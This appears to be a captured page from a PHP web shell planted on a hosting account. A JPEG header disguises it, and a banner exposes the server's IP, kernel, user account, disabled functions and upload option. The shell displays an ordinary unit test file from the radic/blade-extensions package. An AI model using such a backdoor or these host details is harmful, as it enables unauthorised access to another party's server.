ÿØÿà JFIF H H ÿÛ C ÿÛ Cÿ " ÿÄ ÿÄ ÿÚ ±5¬€ ÿÄ àÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÄ àÿÚ ?! ÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÙ
| Server IP : 160.25.81.117 / Your IP : 216.73.216.137 Web Server : Apache/2 System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : bellizen ( 1045) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/bellizen/public_html/vendor/radic/blade-extensions/tests/ |
Upload File : |
<?php
/**
* Copyright (c) 2017. Robin Radic.
*
* The license can be found in the package and online at https://radic.mit-license.org.
*
* @copyright 2017 Robin Radic
* @license https://radic.mit-license.org MIT License
* @version 7.0.0
*/
namespace Radic\Tests\BladeExtensions;
use Laradic\Testing\Native\AbstractTestCase;
use Radic\BladeExtensions\HelperRepository;
use Radic\BladeExtensions\Helpers\Embed\EmbedHelper;
use Radic\BladeExtensions\Helpers\Loop\LoopHelper;
use Radic\BladeExtensions\Helpers\Markdown\MarkdownHelper;
use Radic\BladeExtensions\Helpers\Minifier\MinifierHelper;
class HelperRepositoryTest extends AbstractTestCase
{
public function test_can_create_instance()
{
$this->assertInstanceOf(HelperRepository::class, new HelperRepository());
}
/**
* @var \Mockery\MockInterface
*/
protected $container;
/**
* @var
*/
protected $helperMocks;
protected $helperClasses;
protected function setUp()
{
parent::setUp();
$this->helperMocks = [];
$this->helperClasses = [
'loop' => LoopHelper::class,
'embed' => EmbedHelper::class,
'markdown' => MarkdownHelper::class,
'minifier' => MinifierHelper::class,
];
}
protected function _createHelperRepository()
{
$h = new HelperRepository();
foreach ($this->helperClasses as $name => $class) {
$this->helperMocks[ $name ] = \Mockery::mock($class);
$h->put($name, $this->helperMocks[ $name ]);
}
return $h;
}
public function testGetHelperClassInstances()
{
$repository = $this->_createHelperRepository();
foreach ($this->helperMocks as $name => $m) {
$helper = $repository->get($name, false);
$this->assertNotFalse($helper);
$this->assertInstanceOf($this->helperClasses[$name], $helper);
$this->assertTrue($repository->has($name));
}
$repository->put('test', 'testClass');
$this->assertEquals('testClass', $repository->get('test'));
}
}